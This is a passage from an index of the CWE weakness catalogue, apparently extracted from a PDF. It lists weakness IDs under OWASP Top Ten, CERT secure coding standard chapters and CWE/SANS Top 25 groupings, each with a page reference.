  - C** CWE-275: Permission Issues (p.2110)
  - B** CWE-283: Unverified Ownership (p.643)
  - |P|** CWE-284: Improper Access Control (p.644)
  - C** CWE-285: Improper Authorization (p.649)
  - C** CWE-330: Use of Insufficiently Random Values (p.772)
  - B** CWE-41: Improper Resolution of Path Equivalence (p.83)
  - B** CWE-425: Direct Request ('Forced Browsing') (p.969)
  - V** CWE-525: Use of Web Browser Cache Containing Sensitive Information (p.1164)
  - B** CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization (p.1192)
  - V** CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation (p.1198)
  - B** CWE-639: Authorization Bypass Through User-Controlled Key (p.1324)
  - B** CWE-708: Incorrect Ownership Assignment (p.1442)
  - B** CWE-73: External Control of File Name or Path (p.128)
  - V** CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods (p.7)
- C** CWE-724: OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management (p.2129)
  - C** CWE-255: Credentials Management Errors (p.2107)
  - V** CWE-259: Use of Hard-coded Password (p.591)
  - C** CWE-287: Improper Authentication (p.657)
  - B** CWE-296: Improper Following of a Certificate's Chain of Trust (p.682)
  - V** CWE-298: Improper Validation of Certificate Expiration (p.688)
  - B** CWE-302: Authentication Bypass by Assumed-Immutable Data (p.697)
  - B** CWE-304: Missing Critical Step in Authentication (p.700)
  - B** CWE-307: Improper Restriction of Excessive Authentication Attempts (p.709)




































- B CWE-309: Use of Password System for Primary Authentication (p.716)
- G CWE-345: Insufficient Verification of Data Authenticity (p.805)
- B CWE-384: Session Fixation (p.887)
- B CWE-521: Weak Password Requirements (p.1154)
- G CWE-522: Insufficiently Protected Credentials (p.1157)
- V CWE-525: Use of Web Browser Cache Containing Sensitive Information (p.1164)
- B CWE-613: Insufficient Session Expiration (p.1291)
- B CWE-620: Unverified Password Change (p.1301)
- B CWE-640: Weak Password Recovery Mechanism for Forgotten Password (p.1326)
- B CWE-798: Use of Hard-coded Credentials (p.1573)
- C CWE-725: OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws (p.2130)
- V CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax (p.1338)
- B CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p.159)
- C CWE-726: OWASP Top Ten 2004 Category A5 - Buffer Overflows (p.2130)
- G CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p.283)
- B CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p.294)
- B CWE-134: Use of Externally-Controlled Format String (p.349)
- C CWE-727: OWASP Top Ten 2004 Category A6 - Injection Flaws (p.2130)
- B CWE-117: Improper Output Neutralization for Logs (p.279)
- G CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (p.133)
- G CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (p.141)
- B CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.147)
- B CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p.195)
- B CWE-91: XML Injection (aka Blind XPath Injection) (p.209)
- V CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') (p.220)
- V CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') (p.229)
- C CWE-728: OWASP Top Ten 2004 Category A7 - Improper Error Handling (p.2131)
- B CWE-203: Observable Discrepancy (p.497)
- B CWE-209: Generation of Error Message Containing Sensitive Information (p.510)
- G CWE-228: Improper Handling of Syntactically Invalid Structure (p.540)
- B CWE-252: Unchecked Return Value (p.575)
- C CWE-389: Error Conditions, Return Values, Status Codes (p.2115)
- B CWE-390: Detection of Error Condition Without Action (p.893)
- B CWE-391: Unchecked Error Condition (p.898)
- B CWE-394: Unexpected Status Code or Return Value (p.904)
- G CWE-636: Not Failing Securely ('Failing Open') (p.1318)
- V CWE-7: J2EE Misconfiguration: Missing Custom Error Page (p.4)
- C CWE-729: OWASP Top Ten 2004 Category A8 - Insecure Storage (p.2131)
- V CWE-14: Compiler Removal of Code to Clear Buffers (p.14)
- B CWE-226: Sensitive Information in Resource Not Removed Before Reuse (p.536)
- B CWE-261: Weak Encoding for Password (p.598)
- G CWE-311: Missing Encryption of Sensitive Data (p.718)
- V CWE-321: Use of Hard-coded Cryptographic Key (p.745)
- G CWE-326: Inadequate Encryption Strength (p.756)
- G CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p.758)
- V CWE-539: Use of Persistent Cookies Containing Sensitive Information (p.1179)
- V CWE-591: Sensitive Data Storage in Improperly Locked Memory (p.1251)
- V CWE-598: Use of GET Request Method With Sensitive Query Strings (p.1262)
- C CWE-730: OWASP Top Ten 2004 Category A9 - Denial of Service (p.2132)
- B CWE-170: Improper Null Termination (p.411)
- B CWE-248: Uncaught Exception (p.566)



- B CWE-369: Divide By Zero (p.865)
- V CWE-382: J2EE Bad Practices: Use of System.exit() (p.883)
- G CWE-400: Uncontrolled Resource Consumption (p.912)
- V CWE-401: Missing Release of Memory after Effective Lifetime (p.921)
- G CWE-404: Improper Resource Shutdown or Release (p.927)
- G CWE-405: Asymmetric Resource Consumption (Amplification) (p.933)
- B CWE-410: Insufficient Resource Pool (p.945)
- B CWE-412: Unrestricted Externally Accessible Lock (p.947)
- B CWE-476: NULL Pointer Dereference (p.1070)
- G CWE-674: Uncontrolled Recursion (p.1391)
- C CWE-731: OWASP Top Ten 2004 Category A10 - Insecure Configuration Management (p.2133)
- B CWE-209: Generation of Error Message Containing Sensitive Information (p.510)
- B CWE-215: Insertion of Sensitive Information Into Debugging Code (p.527)
- V CWE-219: Storage of File with Sensitive Data Under Web Root (p.529)
- C CWE-275: Permission Issues (p.2110)
- B CWE-295: Improper Certificate Validation (p.677)
- V CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption (p.1)
- V CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File (p.1197)
- V CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length (p.2)
- V CWE-7: J2EE Misconfiguration: Missing Custom Error Page (p.4)
- V CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote (p.6)
- V CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods (p.7)
- B CWE-459: Incomplete Cleanup (p.1038)
- B CWE-489: Active Debug Code (p.1106)
- V CWE-11: ASP.NET Misconfiguration: Creating Debug Binary (p.9)
- V CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page (p.11)
- V CWE-13: ASP.NET Misconfiguration: Password in Configuration File (p.12)
- V CWE-520: .NET Misconfiguration: Use of Impersonation (p.1154)
- V CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework (p.1196)
- V CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation (p.1198)
- V CWE-526: Cleartext Storage of Sensitive Information in an Environment Variable (p.1165)
- V CWE-527: Exposure of Version-Control Repository to an Unauthorized Control Sphere (p.1167)
- V CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere (p.1168)
- V CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere (p.1168)
- V CWE-530: Exposure of Backup File to an Unauthorized Control Sphere (p.1169)
- V CWE-531: Inclusion of Sensitive Information in Test Code (p.1170)
- B CWE-532: Inclusion of Sensitive Information into Log File (p.1171)
- B CWE-540: Inclusion of Sensitive Information in Source Code (p.1180)
- V CWE-541: Inclusion of Sensitive Information in an Include File (p.1181)
- V CWE-548: Exposure of Information Through Directory Listing (p.1189)
- B CWE-552: Files or Directories Accessible to External Parties (p.1193)

## Graph View: CWE-734: Weaknesses Addressed by the CERT C Secure Coding Standard (2008)

- C** CWE-735: CERT C Secure Coding Standard (2008) Chapter 2 - Preprocessor (PRE) (p.2134)
  - G** CWE-684: Incorrect Provision of Specified Functionality (p.1410)
- C** CWE-736: CERT C Secure Coding Standard (2008) Chapter 3 - Declarations and Initialization (DCL) (p.2134)
  - V** CWE-547: Use of Hard-coded, Security-relevant Constants (p.1187)
  - B** CWE-628: Function Call with Incorrectly Specified Arguments (p.1316)
  - V** CWE-686: Function Call With Incorrect Argument Type (p.1412)
- C** CWE-737: CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP) (p.2135)
  - V** CWE-467: Use of sizeof() on a Pointer Type (p.1050)
  - B** CWE-468: Incorrect Pointer Scaling (p.1053)
  - B** CWE-476: NULL Pointer Dereference (p.1070)
  - B** CWE-628: Function Call with Incorrectly Specified Arguments (p.1316)
  - G** CWE-704: Incorrect Type Conversion or Cast (p.1435)
  - B** CWE-783: Operator Precedence Logic Error (p.1536)
- C** CWE-738: CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT) (p.2135)
  - V** CWE-129: Improper Validation of Array Index (p.327)
  - B** CWE-190: Integer Overflow or Wraparound (p.453)
  - V** CWE-192: Integer Coercion Error (p.463)
  - B** CWE-197: Numeric Truncation Error (p.479)
  - G** CWE-20: Improper Input Validation (p.19)
  - B** CWE-369: Divide By Zero (p.865)
  - B** CWE-466: Return of Pointer Value Outside of Expected Range (p.1049)
  - B** CWE-587: Assignment of a Fixed Address to a Pointer (p.1244)
  - B** CWE-606: Unchecked Input for Loop Condition (p.1278)
  - B** CWE-676: Use of Potentially Dangerous Function (p.1394)
  - B** CWE-681: Incorrect Conversion between Numeric Types (p.1400)
  - |P|** CWE-682: Incorrect Calculation (p.1403)
- C** CWE-739: CERT C Secure Coding Standard (2008) Chapter 6 - Floating Point (FLP) (p.2136)
  - B** CWE-369: Divide By Zero (p.865)
  - B** CWE-681: Incorrect Conversion between Numeric Types (p.1400)
  - |P|** CWE-682: Incorrect Calculation (p.1403)
  - V** CWE-686: Function Call With Incorrect Argument Type (p.1412)
- C** CWE-740: CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR) (p.2137)
  - G** CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p.283)
  - V** CWE-129: Improper Validation of Array Index (p.327)
  - V** CWE-467: Use of sizeof() on a Pointer Type (p.1050)
  - B** CWE-469: Use of Pointer Subtraction to Determine Size (p.1055)
  - G** CWE-665: Improper Initialization (p.1368)
  - B** CWE-805: Buffer Access with Incorrect Length Value (p.1585)
- C** CWE-741: CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR) (p.2138)
  - G** CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p.283)
  - B** CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p.294)
  - B** CWE-135: Incorrect Calculation of Multi-Byte String Length (p.355)
  - B** CWE-170: Improper Null Termination (p.411)
  - B** CWE-193: Off-by-one Error (p.466)
  - B** CWE-464: Addition of Data Structure Sentinel (p.1047)
  - V** CWE-686: Function Call With Incorrect Argument Type (p.1412)
  - G** CWE-704: Incorrect Type Conversion or Cast (p.1435)
  - B** CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.147)
  - B** CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (p.188)
- C** CWE-742: CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM) (p.2139)

-  CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p.283)
-  CWE-128: Wrap-around Error (p.324)
-  CWE-131: Incorrect Calculation of Buffer Size (p.340)
-  CWE-190: Integer Overflow or Wraparound (p.453)
-  CWE-20: Improper Input Validation (p.19)
-  CWE-226: Sensitive Information in Resource Not Removed Before Reuse (p.536)
-  CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection') (p.561)
-  CWE-252: Unchecked Return Value (p.575)
-  CWE-415: Double Free (p.954)
-  CWE-416: Use After Free (p.958)
-  CWE-476: NULL Pointer Dereference (p.1070)
-  CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere (p.1168)
-  CWE-590: Free of Memory not on the Heap (p.1248)
-  CWE-591: Sensitive Data Storage in Improperly Locked Memory (p.1251)
-  CWE-628: Function Call with Incorrectly Specified Arguments (p.1316)
-  CWE-665: Improper Initialization (p.1368)
-  CWE-687: Function Call With Incorrectly Specified Argument Value (p.1413)
-  CWE-754: Improper Check for Unusual or Exceptional Conditions (p.1460)
-  CWE-743: CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO) (p.2140)
-  CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p.283)
-  CWE-134: Use of Externally-Controlled Format String (p.349)
-  CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p.33)
-  CWE-241: Improper Handling of Unexpected Data Type (p.555)
-  CWE-276: Incorrect Default Permissions (p.630)
-  CWE-279: Incorrect Execution-Assigned Permissions (p.636)
-  CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p.841)
-  CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (p.858)
-  CWE-37: Path Traversal: '/absolute/pathname/here' (p.75)
-  CWE-379: Creation of Temporary File in Directory with Insecure Permissions (p.881)
-  CWE-38: Path Traversal: '\absolute\pathname\here' (p.77)
-  CWE-39: Path Traversal: 'C:dirname' (p.79)
-  CWE-391: Unchecked Error Condition (p.898)
-  CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak') (p.925)
-  CWE-404: Improper Resource Shutdown or Release (p.927)
-  CWE-41: Improper Resolution of Path Equivalence (p.83)
-  CWE-552: Files or Directories Accessible to External Parties (p.1193)
-  CWE-59: Improper Link Resolution Before File Access ('Link Following') (p.108)
-  CWE-62: UNIX Hard Link (p.115)
-  CWE-64: Windows Shortcut Following (.LNK) (p.117)
-  CWE-65: Windows Hard Link (p.119)
-  CWE-67: Improper Handling of Windows Device Names (p.122)
-  CWE-675: Multiple Operations on Resource in Single-Operation Context (p.1393)
-  CWE-676: Use of Potentially Dangerous Function (p.1394)
-  CWE-686: Function Call With Incorrect Argument Type (p.1412)
-  CWE-732: Incorrect Permission Assignment for Critical Resource (p.1445)
-  CWE-744: CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV) (p.2142)
-  CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p.283)
-  CWE-426: Untrusted Search Path (p.972)
-  CWE-462: Duplicate Key in Associative List (Alist) (p.1043)
-  CWE-705: Incorrect Control Flow Scoping (p.1437)
-  CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.147)
-  CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (p.188)



- C CWE-745: CERT C Secure Coding Standard (2008) Chapter 12 - Signals (SIG) (p.2142)
  - V CWE-479: Signal Handler Use of a Non-reentrant Function (p.1084)
  - G CWE-662: Improper Synchronization (p.1363)
- C CWE-746: CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR) (p.2143)
  - G CWE-20: Improper Input Validation (p.19)
  - B CWE-391: Unchecked Error Condition (p.898)
  - B CWE-544: Missing Standardized Error Handling Mechanism (p.1185)
  - B CWE-676: Use of Potentially Dangerous Function (p.1394)
  - G CWE-705: Incorrect Control Flow Scoping (p.1437)
- C CWE-747: CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC) (p.2144)
  - V CWE-14: Compiler Removal of Code to Clear Buffers (p.14)
  - V CWE-176: Improper Handling of Unicode Encoding (p.422)
  - G CWE-20: Improper Input Validation (p.19)
  - G CWE-330: Use of Insufficiently Random Values (p.772)
  - B CWE-480: Use of Incorrect Operator (p.1087)
  - V CWE-482: Comparing instead of Assigning (p.1093)
  - B CWE-561: Dead Code (p.1201)
  - V CWE-563: Assignment to Variable without Use (p.1206)
  - B CWE-570: Expression is Always False (p.1216)
  - B CWE-571: Expression is Always True (p.1219)
  - P CWE-697: Incorrect Comparison (p.1428)
  - G CWE-704: Incorrect Type Conversion or Cast (p.1435)
- C CWE-748: CERT C Secure Coding Standard (2008) Appendix - POSIX (POS) (p.2144)
  - B CWE-170: Improper Null Termination (p.411)
  - B CWE-242: Use of Inherently Dangerous Function (p.557)
  - B CWE-272: Least Privilege Violation (p.623)
  - B CWE-273: Improper Check for Dropped Privileges (p.626)
  - B CWE-363: Race Condition Enabling Link Following (p.849)
  - B CWE-366: Race Condition within a Thread (p.856)
  - B CWE-562: Return of Stack Variable Address (p.1204)
  - B CWE-59: Improper Link Resolution Before File Access ('Link Following') (p.108)
  - G CWE-667: Improper Locking (p.1375)
  - V CWE-686: Function Call With Incorrect Argument Type (p.1412)
  - G CWE-696: Incorrect Behavior Order (p.1426)

## Graph View: CWE-750: Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors

- C** CWE-751: 2009 Top 25 - Insecure Interaction Between Components (*p.2145*)
  - C** CWE-116: Improper Encoding or Escaping of Output (*p.272*)
  - C** CWE-20: Improper Input Validation (*p.19*)
  - B** CWE-209: Generation of Error Message Containing Sensitive Information (*p.510*)
  - B** CWE-319: Cleartext Transmission of Sensitive Information (*p.740*)
  - A** CWE-352: Cross-Site Request Forgery (CSRF) (*p.821*)
  - C** CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (*p.841*)
  - B** CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (*p.147*)
  - B** CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (*p.159*)
  - B** CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (*p.195*)
- C** CWE-752: 2009 Top 25 - Risky Resource Management (*p.2146*)
  - C** CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (*p.283*)
  - C** CWE-404: Improper Resource Shutdown or Release (*p.927*)
  - B** CWE-426: Untrusted Search Path (*p.972*)
  - B** CWE-494: Download of Code Without Integrity Check (*p.1119*)
  - C** CWE-642: External Control of Critical State Data (*p.1330*)
  - C** CWE-665: Improper Initialization (*p.1368*)
  - P** CWE-682: Incorrect Calculation (*p.1403*)
  - B** CWE-73: External Control of File Name or Path (*p.128*)
  - B** CWE-94: Improper Control of Generation of Code ('Code Injection') (*p.213*)
- C** CWE-753: 2009 Top 25 - Porous Defenses (*p.2146*)
  - B** CWE-250: Execution with Unnecessary Privileges (*p.568*)
  - V** CWE-259: Use of Hard-coded Password (*p.591*)
  - C** CWE-285: Improper Authorization (*p.649*)
  - C** CWE-327: Use of a Broken or Risky Cryptographic Algorithm (*p.758*)
  - C** CWE-330: Use of Insufficiently Random Values (*p.772*)
  - C** CWE-602: Client-Side Enforcement of Server-Side Security (*p.1271*)
  - C** CWE-732: Incorrect Permission Assignment for Critical Resource (*p.1445*)
  - B** CWE-798: Use of Hard-coded Credentials (*p.1573*)

## Graph View: CWE-800: Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors

- C** CWE-808: 2010 Top 25 - Weaknesses On the Cusp (p.2149)
  - B** CWE-134: Use of Externally-Controlled Format String (p.349)
  - B** CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer (p.520)
  - B** CWE-307: Improper Restriction of Excessive Authentication Attempts (p.709)
  - G** CWE-330: Use of Insufficiently Random Values (p.772)
  - V** CWE-416: Use After Free (p.958)
  - B** CWE-426: Untrusted Search Path (p.972)
  - B** CWE-454: External Initialization of Trusted Variables or Data Stores (p.1025)
  - V** CWE-456: Missing Initialization of a Variable (p.1029)
  - B** CWE-476: NULL Pointer Dereference (p.1070)
  - B** CWE-59: Improper Link Resolution Before File Access ('Link Following') (p.108)
  - G** CWE-672: Operation on a Resource after Expiration or Release (p.1386)
  - B** CWE-681: Incorrect Conversion between Numeric Types (p.1400)
  - B** CWE-749: Exposed Dangerous Method or Function (p.1456)
  - B** CWE-772: Missing Release of Resource after Effective Lifetime (p.1512)
  - G** CWE-799: Improper Control of Interaction Frequency (p.1582)
  - B** CWE-804: Guessable CAPTCHA (p.1584)
- C** CWE-803: 2010 Top 25 - Porous Defenses (p.2148)
  - G** CWE-285: Improper Authorization (p.649)
  - B** CWE-306: Missing Authentication for Critical Function (p.703)
  - G** CWE-311: Missing Encryption of Sensitive Data (p.718)
  - G** CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p.758)
  - G** CWE-732: Incorrect Permission Assignment for Critical Resource (p.1445)
  - B** CWE-798: Use of Hard-coded Credentials (p.1573)
  - B** CWE-807: Reliance on Untrusted Inputs in a Security Decision (p.1595)
- C** CWE-802: 2010 Top 25 - Risky Resource Management (p.2148)
  - B** CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p.294)
  - V** CWE-129: Improper Validation of Array Index (p.327)
  - B** CWE-131: Incorrect Calculation of Buffer Size (p.340)
  - B** CWE-190: Integer Overflow or Wraparound (p.453)
  - B** CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p.33)
  - B** CWE-494: Download of Code Without Integrity Check (p.1119)
  - G** CWE-754: Improper Check for Unusual or Exceptional Conditions (p.1460)
  - B** CWE-770: Allocation of Resources Without Limits or Throttling (p.1502)
  - B** CWE-805: Buffer Access with Incorrect Length Value (p.1585)
  - V** CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') (p.229)
- C** CWE-801: 2010 Top 25 - Insecure Interaction Between Components (p.2147)
  - B** CWE-209: Generation of Error Message Containing Sensitive Information (p.510)
  - B** CWE-352: Cross-Site Request Forgery (CSRF) (p.821)
  - G** CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p.841)
  - B** CWE-434: Unrestricted Upload of File with Dangerous Type (p.991)
  - B** CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (p.1266)
  - B** CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.147)
  - B** CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p.159)
  - B** CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p.195)

## Graph View: CWE-809: Weaknesses in OWASP Top Ten (2010)

- C** CWE-810: OWASP Top Ten 2010 Category A1 - Injection (p.2149)
  - B** CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.147)
  - B** CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (p.188)
  - B** CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p.195)
  - B** CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') (p.207)
  - B** CWE-91: XML Injection (aka Blind XPath Injection) (p.209)
- C** CWE-811: OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS) (p.2150)
  - B** CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p.159)
- C** CWE-812: OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management (p.2150)
  - G** CWE-287: Improper Authentication (p.657)
  - B** CWE-306: Missing Authentication for Critical Function (p.703)
  - B** CWE-307: Improper Restriction of Excessive Authentication Attempts (p.709)
  - B** CWE-798: Use of Hard-coded Credentials (p.1573)
- C** CWE-813: OWASP Top Ten 2010 Category A4 - Insecure Direct Object References (p.2151)
  - B** CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p.33)
  - B** CWE-434: Unrestricted Upload of File with Dangerous Type (p.991)
  - B** CWE-639: Authorization Bypass Through User-Controlled Key (p.1324)
  - B** CWE-829: Inclusion of Functionality from Untrusted Control Sphere (p.1621)
  - G** CWE-862: Missing Authorization (p.1657)
  - G** CWE-863: Incorrect Authorization (p.1664)
  - G** CWE-99: Improper Control of Resource Identifiers ('Resource Injection') (p.235)
- C** CWE-814: OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF) (p.2151)
  - B** CWE-352: Cross-Site Request Forgery (CSRF) (p.821)
- C** CWE-815: OWASP Top Ten 2010 Category A6 - Security Misconfiguration (p.2151)
  - B** CWE-209: Generation of Error Message Containing Sensitive Information (p.510)
  - V** CWE-219: Storage of File with Sensitive Data Under Web Root (p.529)
  - B** CWE-250: Execution with Unnecessary Privileges (p.568)
  - B** CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory (p.1178)
  - B** CWE-552: Files or Directories Accessible to External Parties (p.1193)
  - G** CWE-732: Incorrect Permission Assignment for Critical Resource (p.1445)
- C** CWE-816: OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage (p.2152)
  - G** CWE-311: Missing Encryption of Sensitive Data (p.718)
  - B** CWE-312: Cleartext Storage of Sensitive Information (p.725)
  - G** CWE-326: Inadequate Encryption Strength (p.756)
  - G** CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p.758)
  - V** CWE-759: Use of a One-Way Hash without a Salt (p.1474)
- C** CWE-817: OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access (p.2152)
  - G** CWE-285: Improper Authorization (p.649)
  - G** CWE-862: Missing Authorization (p.1657)
  - G** CWE-863: Incorrect Authorization (p.1664)
- C** CWE-818: OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection (p.2153)
  - G** CWE-311: Missing Encryption of Sensitive Data (p.718)
  - B** CWE-319: Cleartext Transmission of Sensitive Information (p.740)
- C** CWE-819: OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards (p.2153)
  - B** CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (p.1266)

## Graph View: CWE-844: Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)

- C CWE-845: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS) (p.2155)
  - G CWE-116: Improper Encoding or Escaping of Output (p.272)
  - B CWE-134: Use of Externally-Controlled Format String (p.349)
  - V CWE-144: Improper Neutralization of Line Delimiters (p.367)
  - V CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences (p.377)
  - V CWE-180: Incorrect Behavior Order: Validate Before Canonicalize (p.433)
  - B CWE-182: Collapse of Data into Unsafe Value (p.437)
  - B CWE-289: Authentication Bypass by Alternate Name (p.666)
  - B CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) (p.943)
  - B CWE-625: Permissive Regular Expression (p.1309)
  - V CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions (p.1343)
  - B CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.147)
  - B CWE-838: Inappropriate Encoding for Output Context (p.1641)
- C CWE-846: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 3 - Declarations and Initialization (DCL) (p.2156)
  - G CWE-665: Improper Initialization (p.1368)
- C CWE-847: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 4 - Expressions (EXP) (p.2156)
  - B CWE-252: Unchecked Return Value (p.575)
  - V CWE-479: Signal Handler Use of a Non-reentrant Function (p.1084)
  - V CWE-595: Comparison of Object References Instead of Object Contents (p.1256)
  - V CWE-597: Use of Wrong Operator in String Comparison (p.1258)
- C CWE-848: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 5 - Numeric Types and Operations (NUM) (p.2157)
  - B CWE-197: Numeric Truncation Error (p.479)
  - B CWE-369: Divide By Zero (p.865)
  - B CWE-681: Incorrect Conversion between Numeric Types (p.1400)
- C CWE-849: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ) (p.2157)
  - B CWE-374: Passing Mutable Objects to an Untrusted Method (p.871)
  - B CWE-375: Returning a Mutable Object to an Untrusted Caller (p.874)
  - V CWE-486: Comparison of Classes by Name (p.1100)
  - V CWE-491: Public cloneable() Method Without Final ('Object Hijack') (p.1108)
  - V CWE-492: Use of Inner Class Containing Sensitive Data (p.1110)
  - V CWE-493: Critical Public Variable Without Final Modifier (p.1117)
  - V CWE-498: Cloneable Class Containing Sensitive Information (p.1130)
  - V CWE-500: Public Static Field Not Marked Final (p.1133)
  - V CWE-582: Array Declared Public, Final, and Static (p.1237)
  - V CWE-766: Critical Data Element Declared Public (p.1495)
- C CWE-850: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET) (p.2158)
  - B CWE-487: Reliance on Package-level Scope (p.1102)
  - V CWE-568: finalize() Method Without super.finalize() (p.1215)
  - G CWE-573: Improper Following of Specification by Caller (p.1222)
  - B CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined (p.1236)
  - V CWE-583: finalize() Method Declared Public (p.1238)
  - V CWE-586: Explicit Call to Finalize() (p.1243)
  - V CWE-589: Call to Non-ubiquitous API (p.1247)
  - B CWE-617: Reachable Assertion (p.1297)
- C CWE-851: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR) (p.2158)



- B CWE-209: Generation of Error Message Containing Sensitive Information (p.510)
- V CWE-230: Improper Handling of Missing Values (p.543)
- V CWE-232: Improper Handling of Undefined Values (p.545)
- B CWE-248: Uncaught Exception (p.566)
- V CWE-382: J2EE Bad Practices: Use of System.exit() (p.883)
- B CWE-390: Detection of Error Condition Without Action (p.893)
- B CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference (p.906)
- B CWE-397: Declaration of Throws for Generic Exception (p.910)
- B CWE-460: Improper Cleanup on Thrown Exception (p.1041)
- B CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere (p.1127)
- B CWE-584: Return Inside Finally Block (p.1240)
- B CWE-600: Uncaught Exception in Servlet (p.1264)
- B CWE-690: Unchecked Return Value to NULL Pointer Dereference (p.1418)
- P CWE-703: Improper Check or Handling of Exceptional Conditions (p.1433)
- G CWE-705: Incorrect Control Flow Scoping (p.1437)
- C CWE-852: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA) (p.2159)
  - G CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p.841)
  - B CWE-366: Race Condition within a Thread (p.856)
